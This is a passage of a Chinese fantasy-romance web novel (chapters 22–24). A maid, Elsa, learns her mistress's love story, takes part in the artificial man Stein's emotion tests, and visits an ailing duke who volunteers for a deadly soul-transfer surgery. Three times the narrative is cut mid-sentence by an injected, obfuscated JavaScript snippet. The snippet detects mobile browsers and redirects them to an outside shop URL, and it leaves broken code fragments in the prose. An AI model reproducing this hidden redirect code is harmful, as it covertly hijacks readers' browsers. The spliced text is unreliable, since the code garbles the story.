艾尔莎悄悄摸了摸腰间挂着的钥匙。正式女仆有家里所有房间的钥匙，但也被吩咐过不要打开禁地的门。不然就要自负严重的后果。 猫草柔软的枝条恹恹地垂在地上，让猫草跑出来是她的失误，要是放任它受伤就更难和莱昂交代了。 心虚地环顾四周，确定了走廊上没有人影，艾尔莎找出了那把对应的钥匙。 “我不会进房间的，”她小声安慰开始紧张的自己：“把门打开，然后关上。不会有人发现的。” 她拿起腰间的钥匙插进锁孔，一只手旋开门锁，另一只手迅速从敞开的门缝中拽出猫草。 然而还没等她关门，女声就在背后突兀响起。 “你看到了？”不知何时，噩梦夫人出现在了艾尔莎的身后。 “夫、夫人。”艾尔莎倒吸了一口气，血色从艾尔莎的脸上褪去，冷意爬上脊背：“我什么都没有看到。” 夫人冰凉的手搭上了艾尔莎的肩膀，然后以不容抗拒的力量，将艾尔莎推入了没关紧的房间。 艾尔莎下意识地闭起眼，生怕看到什么不该看的东西。似乎被她的恐惧传染，她怀里的猫草也跟着瑟瑟发抖。 “睁开眼吧。”夫人说：“我也很久没和别人分享过这里了。”她轻轻拍了拍艾尔莎的肩膀。 她的声音中没有多少责怪的意思，也没有愤怒的情绪，反而隐隐带着压抑的兴奋和喜悦。艾尔莎犹豫了一会，慢慢睁开眼。 艾尔莎没有看到意想中恐怖的事物，恰恰相反，这是间布置得很温馨的房间。 各种零碎的物品被整齐地摆放在柜子上，一张梳妆台上摆放着相册——是噩梦夫人和一个英俊的男人的合照。 相框上刻着字：“致凯瑟琳——我的挚爱。” 注意到艾尔莎的视线，夫人说，“这是我过世的丈夫，也是莱昂的父亲，斯坦因的创造者。”她的唇角浮现温柔的笑容：“他叫查尔斯，是个人类。” 还以为自己冲动行为触碰到了夫人伤心的隐秘，艾尔莎愧疚地低下头：“我很抱歉……” “抱歉什么？”夫人惊异地看了她一眼：“你是不是误会了什么？餐厅里的怪物们都知道我和我丈夫的爱情故事了。我刚刚看到你在外面徘徊，才想起来还没有给你介绍过。” 她露出了“这怎么行！”的神情，不容分说地将艾尔莎按在了梳妆台前的座位上。 “这是天才人类和伟大女巫间，跨越种族和种种磨难的爱情故事。”夫人用富有情感的声音说，好像在演奏一首咏叹调：“真正的灵魂伴侣，令人唏嘘的爱情虐恋……” 在噩梦夫人的故事里，查尔斯原本是个绅士，但他醉心于科学研究，被村民们传为足不出户的科学怪人。查尔斯同样对怪物的世界很感兴趣，追踪怪物的他遇到了女巫凯瑟琳——也就是噩梦夫人，两人一见钟情，共坠爱河。 彼时，还不够强大的凯瑟琳差点被女巫审判送上绞刑架，是查尔斯挺身而出保护了她，并为她放弃了身份和财产，携手隐居。 噩梦夫人早已泣不成声：“他们过上了幸福的生活，直到死神叩响了门扉，带走了年迈的查尔斯。” “这么出色的人也只有普通人的寿命吗？”被这个故事吸引住了，艾尔莎忧伤地说：“他明明有这么令人惊叹的研究……” “也不是完全没有方法，可他不愿意。”夫人轻轻叹息：“深爱一个人，就是要尊重他的意愿。” “寿命差啊……”艾尔莎眼神微黯，她想到了十年来相貌依旧的狄伦。 她黯然魂伤的表情被噩梦夫人敏感地捕捉到了。 “艾尔莎，”夫人冷不丁地说：“你可不要喜欢上我的儿子们哦。” 什么？艾尔莎一时没反应过来，等她意识到夫人的话时，脸立刻就涨红了。 “没有这回事，”艾尔莎连忙挥手：“这怎么可能呢……” 艾尔莎想起听过的浪漫故事里经常出现的贵妇，她们会给贫穷的灰姑娘一笔不菲的钱币，让她远离自己的儿子。 不想惹女主人不快，她不禁有点着急起来：“我发誓，我对少爷们没有任何意思。” “哦，看你这慌张的反应。”夫人用手帕轻轻捂嘴：“就算给你五箱黄金让你……” 艾尔莎屏住了呼吸，果然，小说里的情节要来了吗…… “……和我的儿子们谈恋爱，你也不会愿意的吧。”夫人有同感地点点头：“但我能够理解。” “……哎？” “斯坦因啊，就是具不解风情的铁块，”夫人挥了挥手帕，面上是掩饰不住的嫌弃：“对他说话不如对墙说，墙还不会反驳我。” “哦，天呐，他还毒舌。啐出来的言语简直就是杀人的精神毒液，沉默应该成为他的美德。”夫人擦拭着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991238|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里噙着的泪水：“也不知道是从谁那学来的。” “至于莱昂，心眼多得更蜂窝似的，而且凑近看全都是黑的。”夫人痛苦地扭紧眉头，“更可怕的是他的情绪化，”夫人又开始哭起来，“也不知道这阴晴不定的坏脾气又是遗传谁的。” “……”有没有一种可能是远在天边近在眼前呢。艾尔莎闭紧了嘴。 夫人最后做了总结陈词，“就像是貌美的孔雀，再美丽的尾巴下面，都藏着鸡一样普通的屁股。”给她的两位儿子。 “想想就觉得难过，也不知道未来谁家的淑女要和他们恋爱，受这样的苦，一定是上辈子欠了不少债。”噩梦夫人哭泣道：“比这更惨的是，被这两人同时喜欢上。” “哦，天呢。”她甚至不顾形象翻了个白眼：“那还真是自求多福吧。” “我让你不要喜欢他们，是为了你好。巫师和人造人的寿命都要比普通人类漫长，”噩梦夫人默默垂泪：“只有自己独自老去的滋味并不好受。” 噩梦夫人又拉着艾尔莎说了好久的故事，直到黎明即将来临，猫草在艾尔莎的怀中入睡，到了就寝时间的夫人才依依不舍地结束了座谈会。 “下次再来陪我说话~”噩梦夫人露出满足的笑容：“我得回去复盘一下，还有好多细节没有说清楚呢。” 把猫草送回植物园，结束了工作的艾尔莎来到了一楼的图书室，噩梦夫人的话让她有点在意。 她翻开有相关记载的书：“部分人类有特殊的血统，有一种说法是，这种血统来源于人类和怪物的混合，也就是混血儿。混血儿能表现出超脱的魔法抗性和身体素质，寿命比普通人类长。并可以通过后天的学习精通特殊的技能和招式。” 脑海里浮现狄伦的面容，这段话不仅适用于巫师，也同样匹配猎魔人，难道说，他们来源于相同的血统吗？ “咳咳，居然躲在这里偷懒！”放在书架上的铜喇叭忽然响起，打断了艾尔莎的思路，是德尔的声音：“你在看什么？” “没什么，”艾尔莎收起书：“对了，德尔，为什么那间房间会是禁地呢？” “哼！”德尔果然知道发生在这座宅邸里的所有事，甚至不需要追问艾尔莎是哪间房：“餐厅里的怪物们但凡靠近那间房间，就会被逮去听同样的爱情故事。大部分怪物已经听过不下百遍，但如果表现出不耐烦或者走神的样子，夫人生气的后果可是很严重的！你刚好是只新鲜的漏网之鱼，她当然不会放过你。” 艾尔莎后知后觉打了个哆嗦，那间房间的危险程度指数级上升。艾尔莎决心远离那间房！ 德尔鄙夷了她手上的书：“别看这些用不到的东西，只会越看越蠢！去看看4排F层从左往右的第三本书，那才是对你有益的知识！” 好奇的艾尔莎依言找了出来，“这是……《家装壁画的艺术》?”她念出封面的名字，神情有点为难，“墙头画们会闹的吧？” “你管他们！”铜喇叭发出尖锐的声响，交代完需求，德尔心满意足地离开了。 22. 好感＆公爵 金属头盔上插满了五颜六色的电线，闪烁的光芒将艾尔莎的脸照得红绿相接。 这部装置能监测艾尔莎的情绪变动，输出精确的数据反馈。 “不要动。”站在艾尔莎面前的斯坦因戴着奇特的眼镜：“这顶头盔会记录各项指标，现在可以回答问题了。” 顶着沉重的头盔的艾尔莎艰难地仰着脖子：“请问，这些题目有什么意义吗？” “通过举出假想道德情境，进行同理心测试，记录你的不可控身体因素。这是很浅显的解释，以你的智商应该能听懂？” “……能。” “眼球向右上方转动，血管扩张，是说谎后心虚的表现。”斯坦因嘴角微扬：“你立刻就提供了鲜活生动的例子，做得好。” 被摆了一道，艾尔莎撇撇嘴。 也不怪艾尔莎质疑这些问题的意义，从“如何看待身边的人”这类的情感问答，到“假如在保持清醒的情况下被解刨”的恐怖现场，再到“人造人会梦见电子羊吗”的哲学问答，囊括了各种不着边际的问题。 “我会根据你的回答，随时给予反馈。”斯坦因催促道：“开始吧。” 原本艾尔莎以为斯坦因会是个站在旁边记录的观察者，但她刚开始帮身边的人按照好感度排名，斯坦因就提出了异议。 “莱昂排名居然比我前？”斯坦因抢过了艾尔莎的题板，“你的态度是认真的吗？”他有点生气，“我不允许任何人轻率地对待我的实验。” “当然是认真的……”艾尔莎点头：“莱昂教了我很多东西，也很温柔……把他排在前面有什么问题吗？” 她的目光十分坦诚，于是斯坦因那点被愚弄的怒意变成了从未设想过的茫然。 斯坦因微微一顿，推起那架奇怪的眼镜，露出琉璃般的眼眸。 他扭过艾尔莎的脸，好像要看穿她的脑袋为什么能生出这么荒诞的谬论：“我忽略了盲点，你判断道德认知的脑机制很可能有问题。” 夹在他的修长手指中的脸颊气鼓鼓地嘟起，艾尔莎无声地表达抗议。 “好感首先来源于对外表的审美，初次见面时，你的眼神明明停留在我身上的时间更多。”斯坦因分析道：“的确，你更喜欢被温柔地对待，对你表现出善意的人都很容易获得你的信任，某种程度来说非常好收买。” 艾尔莎下意识就要反驳，斯坦因却放开了她的脸颊，牵起了她的手。 “我要为之前的失礼向你道歉，我的行为太粗鲁了，才没能获得你的嘉许。”银色的发丝拂过艾尔莎的手背，斯坦因像个真正的绅士般微微弯腰。 冰凉的唇落在艾尔莎的手背上，气息像羽毛般轻柔，这是个点到为止的标准吻手礼：“请求你的原谅。” 艾尔莎只在乡绅们的宴会上看到过这个礼节，却从来没被这样郑重地对待过，她的脸“噌”地红了，话语也结巴了起来：“忽然、忽然间说什么呢。” 斯坦因歪了歪头，英俊的脸上，长睫毛如蝴蝶的羽翼，在心间落下扇动的痒意：“你愿意原谅我吗？” 艾尔莎觉得头有些晕乎乎的，“嗯……”她低下头避开他的视线。 她的手被放开了，“果然，我的猜想没错，”方才还暧昧的氛围被斯坦因公事公办的语气敲碎了。 “血管扩张，心跳加速……”他在忙着记录宝贵的数据，一幅胜券在握的神情：“看来我得多用刚才的方式对待你，才能把你分心给莱昂的时间抢夺回来。” “……别说了。”又被摆弄了，捂着脸的艾尔莎被羞耻感淹没了。 她只想把这个话题翻篇，于是她强硬地从斯坦因那抢回题板：“下一题……情景模拟：想象一台手术。” 面前就有现成的例子，穿着白外套的斯坦因给她留下过深刻的噩梦。 她想象着斯坦因握着手术刀，“桀桀”笑着接近孤苦无依躺在手术床上病人，要他们交出灵魂的模样，足以吓得人魂飞魄散。 “等等，为什么我的笑声是‘桀桀’。”斯坦因打断她的描述：“你在描述中夹带了强烈的私人情绪。” “而且，器官和肢体置换手术我的确做过不少，但完整灵魂置换手术从未做过。”斯坦因说：“那是未被研究成功的禁忌领域，除非有自愿者承诺担负风险。” “哪会有什么志愿者，”艾尔莎小声嘟囔：“除了不小心闯进你实验室的‘被迫自愿’倒霉蛋。” 这似乎也是斯坦因苦恼的事，他旋起了脑袋上的螺丝钉：“……所以这项研究才至今迟迟没有进展。” 灵魂手术吗？自艾尔莎认识斯坦因以来，他最执着的事就是有关灵魂的研究和实验。 “你曾说过，这是你的使命，为什么这么说？”艾尔莎问。 冰晶般明锐的目光扫过艾尔莎，斯坦因问：“你知道我的创造者是谁吗？” 合影相片浮现在眼前，艾尔莎想起那个微笑着搂住噩梦夫人的英俊男人：“查尔斯先生。” 斯坦因点头：“他将所有的知识留给了我，唤醒我时，程序里留下的唯一讯息是——” 他的语气变得温和了，为了模仿查尔斯那抑扬顿挫的语调：“‘去了解和研究灵魂吧，斯坦因。这是你生来的使命’。在我翻阅了他的书札后，发现他去世前在研究的正是灵魂置换手术，而这项实验并没有留下任何成果。” “你觉得这是他的遗憾吗？” “没错，”斯坦因又恢复了冷冰冰的语气：“所以，对我来说，一切都只是达成结果的工具和手段。” “工具……”艾尔莎露出落寞的神色：“可我不喜欢被这么看待。人应该是目标，而非工具。斯坦因少爷，难道不介意被当成可以利用的工具吗？” “不介意。因为我就是。”斯坦因没有半分犹豫：“我不像人类，没有丰富的情绪单元，也不是生来就具备了情感的能力。” “我无法研究自身，但也不会被情绪扰乱，”他客观地描述着自己的定位：“没有谁比我更适合成为达成目标的工具。” “那你还会……相信或者依赖别人吗？”艾尔莎呐呐地问，声音渐渐低下去：“以及，爱呢？” 斯坦因叹了口气：“你为什么总是能问出这么幼稚的问题？” 他放下手中的书写工具，解开了扣紧到下巴的领口。 逐渐敞开的衣物露出苍白的肌肤，和流畅紧实的肌肉线条。 艾尔莎一惊，下意识地转过头去：“这又是要做什么？” “艾尔莎，你不必感到羞涩。”她的手再次被牵起，指尖触碰到了那细腻的肌肤，斯坦因的皮肤并不像正常人般有温度。 接着被引导着贴上胸膛的是掌心，她感受到了一道粗糙的缝线。斯坦因命令道：“转过头来，艾尔莎。” 仿佛被魔力牵引着，艾尔莎的视线转回到那道蚯蚓般狰狞的缝线上，这道缝线从胸膛连接到脖颈，又埋入衣领后背的阴影。 缝线两旁，苍白和青紫色的皮肤泾渭分明，这使斯坦因看起来就像是个拼接的布娃娃。 “这样的缝线，我身上还有五道。”斯坦因说：“不同材料的运用能提高身体的坚韧和灵活度。” “……会疼吗？” “不会。”虽然为了配合她坐着的高度，斯坦因半跪着平视艾尔莎，挺直的姿态却像强势地将她圈在领地中：“还有你刚刚问的问题，答案也是不会。” “我知道这个外貌很具有迷惑性，但只要接近我的真实、看见我的内核，你就会知道我们是完全不同的生物。”修长的指节捻起艾尔莎长长了的红发，斯坦因说：“所以，不要对我寄予不切实际的幻想。” 艾尔莎一时无言。这时，门外忽然响起敲门声。 “哦，斯坦因，我正找你呢。”夫人身姿娉婷地推开门，“艾尔莎也在这，”当她看清屋内两人的样子时，惊讶地捂住了嘴，“天呐，我是不是打扰你们了？” 门又被立刻关上了。夫人的声音隔着门传来：“我待会再来，你们继续……但不要太久哦。” “你误会了。”斯坦因出现在门口，衣领重新系得严严实实：“发生什么事了？” “洋房那边来人了，”似乎是不好的消息，夫人用手帕捂着脸，轻轻啜泣：“乔夫的身体最近又出问题了，你恐怕要跑一趟。” 斯坦因蹙起眉。艾尔莎在他的脸上看到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991239|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧色。 “我现在就出发。”斯坦因转向艾尔莎，“恐怕要在那多待几天，实验还没有做完，带上设备，”他征求夫人的同意，“艾尔莎和我一起去。没问题吧？” 夫人掩着手帕，目光在他们之间游移：“当然。” 上次乘坐过的那辆自动驾驶的马车，缓缓地驶出了噩梦餐厅。它的外壳是特殊的玉石，当它被霞光笼罩，就呈现出了梦幻般的紫色。 “目的地是乔夫的洋房。”斯坦因设定好方向后，马车朝着东北方奔赴。 “乔夫是谁？”能请动斯坦因的人，身份必然不简单。 “乔夫是查尔斯生前的至交好友。” “听夫人说，他生病了吗？”艾尔莎接着问：“那不应该找药剂师吗？” 斯坦因翻开笔记，上面记载了义肢的数据，他垂落的目光飞快扫过书页：“他有一半的身体都替换为了机械，每三个月我会对他进行回访，但这次提前派人来了，恐怕是机械出了问题。” 艾尔莎愣住了：“一半的什么？身体？” “以他现在的年龄，器官衰竭和坏死不可逆，只能替代成机械的来维持生命，一般的药剂师派不上用场。” 机械的设计和手术，全程都由斯坦因独立完成，除了按时进行定期维护外，没有出现过问题。 斯坦因神色严肃地翻找着记录，艾尔莎没敢打扰他，安静地坐在一旁看窗外掠过的风景。 直到那座堡垒般的洋房出现在视野中。 洋房上插着的旗帜在风中飘舞，露出红底白圈的徽章，看轮廓似乎是展翅翱翔的鹰隼。 “斯坦因少爷，我们好像到了。”艾尔莎探出头，轻轻地“咦”了声：“那个徽章有点眼熟，我好像在哪见过……” “雄鹰与太阳的组合，箴言‘翱翔天际’。”斯坦因瞥了她一眼：“你连现任领主布朗家族的徽章都认不出？” 布朗是这片行政土地上最煊赫、古老的家族，自被封为领主以来就世袭此职。 不怪艾尔莎没有第一时间认出，以她村姑的身份，能够见到徽章的次数屈指可数。艾尔莎倒吸一口气，立马紧张起来：“那我们现在去见的是？” “公爵。乔夫·布朗。”斯坦因合上书：“这里是由战时遗留的堡垒改造而成的，坚不可摧，他就在这休养。” 远在另一边的领主首府中，此时正执掌权力，统帅各方的领主是詹姆·布朗，但他还没有承袭公爵的称号，正是因为这座洋房里的主人——现任领主的父亲乔夫·布朗还没有去世。 注意到艾尔莎的紧张，斯坦因坏心眼地扬起唇角：“你该表现得更轻松点，再颤抖下去，盘查的卫兵可不会轻易放过眼前的可疑分子。” 但事实证明明斯坦因只是想吓唬她。驻守在门口的卫兵没有为难他们，这架马车本身就是最好的通行证。 他们一路无阻地通过重重关隘，女仆长早就守候在了门口。 “一路奔波辛苦了，公爵已经在等您了。”女仆长的态度热切又熟稔：“请快进来吧。” 与低调严实的堡垒外表不同，踏上金线织就的地毯，屋内浮华奢侈的气息迎面扑来。金碧辉煌的走廊里摆满了精致的艺术品，令人目不暇接。 “您的房间也已经打扫好了，因为离老爷的卧室最近，詹姆少爷上次来提到的时候，还说自己有点嫉妒呢。”女仆长露出慈爱的笑容：“老爷因为他说了这样孩子气的话，还训了他一顿。” 斯坦因淡淡应着，显得有些冷漠。但女仆长似乎早就习惯了，没有显出任何的介意。 艾尔莎心惊肉跳地听着现任领主的家长里短，亦步亦趋地跟在斯坦因身后。虽然她努力缩小存在感，但女仆长的目光还是时不时落在她身上。 “斯坦因。”带着笑意的苍老声音传来，听到这个声音，领路的女仆长默默退到墙角。 神矍铄立的老人站在地毯尽头，身后伫立着一位管家。 老人穿着繁复的贵族服饰，白手套杵着木手杖。岁月在他的脸上留了褶皱和刻痕，但那双视线却如鹰隼般锐利。 “过来，”乔夫·布朗公爵向斯坦因伸出手：“我的孩子。” 23. 忒修斯＆手术 斯坦因的视线落在老人身后：“新面孔。” “哦，这是我的新管家，贝瑟。”公爵介绍道。身穿黑西服的管家朝斯坦因鞠躬。他是个面色苍白，身材消瘦的年轻人。鹰隼般的目光紧接着落在艾尔莎的身上：“你也带了个新面孔。” “这是艾尔莎。”斯坦因说：“餐厅的新女仆。” 艾尔莎匆匆行礼，她鞠躬的幅度实在是有些过分了，笨拙的紧张一览无余。 斯坦因眼里流露出微不可见的笑意，而公爵只是象征性地点了点头，他的注意力全在斯坦因身上，他亲昵地拍着斯坦因的手臂：“来的正好，和我一起用餐吧，坐下说。” 管家推开餐厅的木门，璀璨的水晶吊灯下，长桌摆满了令人垂涎的佳肴。 仆人们训练有素，出入间有条不紊，在地毯上行走时，如垫着脚的猫轻盈安静。 这使艾尔莎更紧张了，她把盘子放在斯坦因面前，却不小心和刀叉擦过，发出了清脆的碰撞声，一瞬间，全屋投来的视线让她渗出了冷汗。 斯坦因看了她一眼，主动引开了公爵的注意力：“这次是手臂出问题了吗？” “你发现了，”没有拄拐杖的左手软绵绵地搭在桌边，公爵轻描淡写地说：“似乎是连接处脱臼了，小问题。” 他看向斯坦因的盘子，皱起眉头，“你应该多吃点，这次又瘦了。” “我是人造人，体型是不会因为营养摄入而变化的。” “每次都是这句话。”公爵强硬地坚持：“可我更相信自己的眼睛，你就是瘦了。” 艾尔莎正把一道主菜摆上桌，看起来像是浇汁的肉排，斯坦因刚吃一口就脸色大变，他露出无奈的神色：“您也别总让厨师烹饪出千奇百怪的蔬菜给我。” “不准挑食。我知道你不喜欢蔬菜的味道，再让厨师尝试就是了，总是会有合口味的。” “我的身体会自动检测营养成分，缺失的可以用药剂补全。” 公爵瞪了他一眼：“喝药哪有天然的好？” “严格来说……” “好了，你说了那么多，最终都回到身体的优越性上了，”公爵打断他，优雅地用手巾擦拭嘴角：“你是故意在和我这个风烛残年的老头子炫耀吗？” 斯坦因哑口无言：“你知道不是的。” “那就快把蔬菜吃了。比起和我这个老头子顶嘴，这才是你该做的正确的选择。” 斯坦因落于下风的情形可不多见，艾尔莎都要拼命地掐住自己，才不会失礼地笑出声，即便如此，她还是感觉到女仆长不满的目光如同灯塔般往这扫射。 结束用餐后，斯坦因跟随公爵前往书房。 艾尔莎被拦了下来，刚刚还和颜悦色的女仆长换上了幅严肃的面容。 “仆从的房间在这边，我带你去。”她蹙起眉：“另外，你应该和斯坦因少爷保持适当的距离，而不是像块膏药般黏在他身后。” 没等艾尔莎反应，接二连三的诘难随之而来。 “你出身平民？举止和礼仪都未曾受过教育。这样又怎么有资格待在斯坦因少爷身旁呢？”女仆长叹息：“趁这段时间在公爵这里，你应该抓紧机会好好学习，如何成为一个合格的女仆。” 她把愣住了的艾尔莎领到了客房前，施施然地离开了。 另一边的书房内，斯坦因正在更换义肢上破损的零件。 公爵的左手臂被打开了，露出复杂的零件和线路，斯坦因把故障处排除，测试结果也运行良好。 “好了，”调试完公爵的手臂，斯坦因把人造皮肤重新粘合回原处：“下次小心点，这么多人围绕着你，居然还能从楼梯那摔下来。” “我已经老得像支快熄灭的蜡烛，别对我有太多的要求。”公爵感叹道：“每次看到身体部件被调换的场景，就觉的自己好像那艘忒修斯之船。你不觉得吗？斯坦因。” 忒修斯之船是一艘可以在海上航行几百年的船。 当木材逐渐腐朽时，人们便会更换新的木头来替代。通过不间断地替换部件和维修，最后，这艘船的每根木头都被换过了。 于是便产生了问题：这艘船还是原本的那艘船吗？如果是，但它已经没有最初的任何一根木头了；如果不是，那它是从什么时候不是的？ “或许我已经逐渐不是我了。”公爵唏嘘道。 “这么软弱的话可不像你会说的，‘翱翔天际’的雄鹰。” “哈哈，可别小看衰老的力量。” “不过，对人类来说，最核心的木板就是灵魂吧。”斯坦因说：“只要自我的意识存在，躯体如何变化，都不会抹掉‘我’的痕迹。” “不错，”公爵伸手点了点太阳穴的位置：“所以神秘又神圣的灵魂，才是令我和查尔斯一直着迷的禁区啊。” 活动着修复好的手臂，公爵打开抽屉，将一本笔记本递给了斯坦因。斯坦因翻开老旧的牛皮封面，内页写着手稿主人的名字，是个意想不到的名字——查尔斯。 “这是查尔斯的手稿？”斯坦因的眼中闪过不可置信的光芒：“怎么会在这？” “你父亲寄放在我这了，我觉得是时候还给你了。” 斯坦因翻开手稿，里面记载着查尔斯研究的灵魂置换手术的实验记录。 但这部手稿并不完整，后几页被撕毁了。 公爵露出怀念的神色：“当时，他和我约定好，要完成这项伟大的灵魂实验，但实验还未出结果，他就因病去世了……” “他是我见过的最聪明绝伦的人，如果他还在的话，一定能将人类的灵魂从短暂的□□中解放出来。”公爵遗憾地叹息：“交到我手上时，手稿只有前半部分，要是能有完整的内容，对你的研究应该会起很大的作用。” 斯坦因一目十行地扫过查尔斯的笔记，虽然他想立刻关起门来研读所有的内容。可眼下还有令他不解的事：“为什么现在才给我？” “斯坦因，你的实验进度怎么样？”公爵露出微笑：“据我所知，一直止步不前？” 斯坦因抿起唇：“进程……” “太慢了，”公爵竖起手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991240|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打断他，“对你这样单纯的孩子来说，从零开始学习人类的灵魂，果然还是有点勉强。”他的眼里划过异色，“但这并不怪你，人类本来就是这世上最复杂的生物。” “总在门外徘徊可不行，”公爵摊开手：“想要寻求真理，就得跨越一切障碍去拥抱它。” 斯坦因察觉到公爵话中有话，他的眼神如手术刀般锐利：“什么意思？” “我希望，”公爵平静地说：“你能够按照上面的记录，对我进行灵魂置换手术。” 这个“希望”委实超出了斯坦因的预料，他微微怔楞，缓缓皱起眉。 “这项手术没有可靠的实验数据，也没有被证实的成果案例。”他斩钉截铁：“凭借我现在对灵魂的认知程度，你几乎百分百会死亡。” “呵呵，”公爵没有退缩也没有恐惧：“我知道。” “那为什么还做这样的决定？” “我的生命力正在消亡，机械可以减缓，却不能终止这趟通向死亡的旅途。”公爵一向明亮的目光黯淡了：“就让最后这点生命，成为实验的垫脚石好了。” “我知道，查尔斯定下的规矩，灵魂实验除非有自愿者，否则不可以在活物身上应用，你一直没有打破这条规定，才会停滞不前。”公爵双手交叉置于桌前，像是谈判的模样，放上筹码桌的却是自己的生死：“现在，你有志愿者了。” 桌上的台灯照在沉默不语的斯塔因身上。那张总是冷冰冰的俊脸一边沐浴在暖黄中，一边藏在光线无法触及的阴影中。 “你是认真的吗？公爵。” “当然。”公爵温和地说：“这不是很难得的机会吗？斯坦因，查尔斯设计你的初衷，不也是为了让不被情感困扰的你，能够更客观地推进实验吗？” ——“没有谁比我更适合成为达成目标的工具。”就在不久前，他才对艾尔莎说过这样的话。 “不错，”斯坦因点头：“这是我的使命。” “是啊，我想你应该没有理由拒绝才对。”公爵露出满意的笑容：“我会尽快协助你安排手术的。” 结束和公爵的谈话，斯坦因独自回到房间。 他在灯下翻阅查尔斯的手稿，手稿里记录了查尔斯对一例重症将要死亡的农夫志愿者进行的灵魂手术，步骤和注意事项都很详细，手术后的内容却被撕毁了。 这意味着手术很有可能是失败的。按照笔记上的内容进行手术并不是难题，但结果大概率通向了未知的深渊。 斯坦因旋起头上的螺丝钉。过了一会，他站起身走到桌前，打开随身带着的手术箱。这次出来的匆忙，他就带了惯用的工具。 他擦拭起手术刀，直到锃亮的刀片反射着灯光，思绪依然没被厘清，反而变得更混乱了。 斯坦因感到了一阵压抑的焦躁，他将笔记揣入口袋，打开房门，准备出去透透气。 他向阳台走去，前方的走廊里，一扇客房的门忽然被打开，从里面钻出了个鬼鬼祟祟的身影。 “艾尔莎。”斯坦因叫住她：“你在干什么？” 24. 犹豫＆赏金 “我有点饿。”艾尔莎露出了羞赧的表情。 肚子饿得咕咕作响，招待艾尔莎的晚饭，分量少得可怜。 当艾尔莎委婉地提出需求时，女仆长挑剔地打量了她一眼，“你应该少吃点，”女仆长说，“这样才能时刻保持轻盈的体态。” 艾尔莎决定去厨房找找有什么食物，却没想到刚好遇上了斯坦因。 “走吧。”斯坦因带头走向厨房：“我和你一起去。” 艾尔莎小跑着跟上他，“可以吗？”她嘴上怕给斯坦因添麻烦，心里却在暗喜，偷吃有风险，要是被那个严格的女仆长抓到可就麻烦了，现在，最合适的保护伞主动送上了门。 “当然，你是我重要的……”斯坦因看穿了她的心思，微微弯起嘴角：“试验品。”他的眼中流露出揶揄：“喂饱小白鼠是我应该做的。” 他没有注意到，和艾尔莎交谈的瞬间，他忘记了萦绕着他的阴云。从厨房拿了夜宵后，他们来到阳台，轻柔的晚风吹起纱幔，拂过雕工繁复的白橡木桌椅。 “这还真是座密不透风的堡垒。”艾尔莎深吸了一口气：“现在就感觉轻松多了。” “这座战时的堡垒连大炮都无法撼动，窗和门都用特殊材料制成，能最大程度保证公爵的安全。” “不会是查尔斯先生设计的吧？” 斯坦因点点头，“不过，还真是奇怪，”他说，“我以为你在人类领地会更舒服。” “如果不饿肚子的话……”艾尔莎轻描淡写地交代了晚餐的事。 “女仆长对你不友好？”斯坦因皱了皱眉：“为什么？” 规矩、礼节的约束能让艾尔莎意识到身份和阶级的鸿沟，打压则能让她失去信心。 她忽然觉得盘里的食物味同嚼蜡，这里对她的排斥，并不比怪物对异族的排斥要友善。 艾尔莎并不想对斯坦因直言：“可能……因为她觉得我做得不够好吧。” 斯坦因没有觉得意外，反而赞同地点头：“公爵对下属的要求很严厉，按照这里女仆的水准，你非但不够好，可以说是糟糕透了。” 艾尔莎停下刀叉，对他怒目而视。 “不过，”他话锋一转：“她又不是你的雇主，你是噩梦餐厅的人，不需要遵守这里的规矩和条约。下次她再这么苛责你，你大可以反驳她，如果她有异议，就让她来找我。” 这就是要为自己撑腰的意思了。艾尔莎露出惊异的神情。 “怎么了？有什么问题吗？”斯坦因抬起冷淡的眉眼：“还是你觉得，这是个宝贵的同行学习机会。” “不不。我只是觉得，虽然大部分时候都显得无情，但您的公正客观在这时非常有魅力。” “前面那句话有必要吗？”斯坦因危险地眯起眼：“有没有人告诉过你？沉默应该是你的美德。” 没有。而且，这句话噩梦夫人先说过了，对象正是面前的斯坦因。 艾尔莎忍住笑，她低下头搅动碗中的汤，夜宵变得更可口了，甚至能让她心情好到记挂起没做完的实验：“我把那些奇形怪状的设备放到房间了，明天继续测验那些奇怪的题目吗？” 斯坦因没有立刻回答她，他的手肘撑在桌子上，修长的手指轻抚下巴，他在走神。 这并不寻常，他向来对实验相关的话题百分百上心，有什么扰乱了他的心神。 “怎么了吗？”艾尔莎停下手中的餐具：“您有什么心事吗？” 斯坦因抬眼看向她，高悬的月亮铺下清澈的辉光，将他略带困惑的眉眼照得一览无余。 “如果太唐突的话，”艾尔莎连忙说：“您不想说也没关系。” “是有件……有点在意的事。”没有犹豫太久，斯坦因坦率地交代了和公爵的聊天内容。 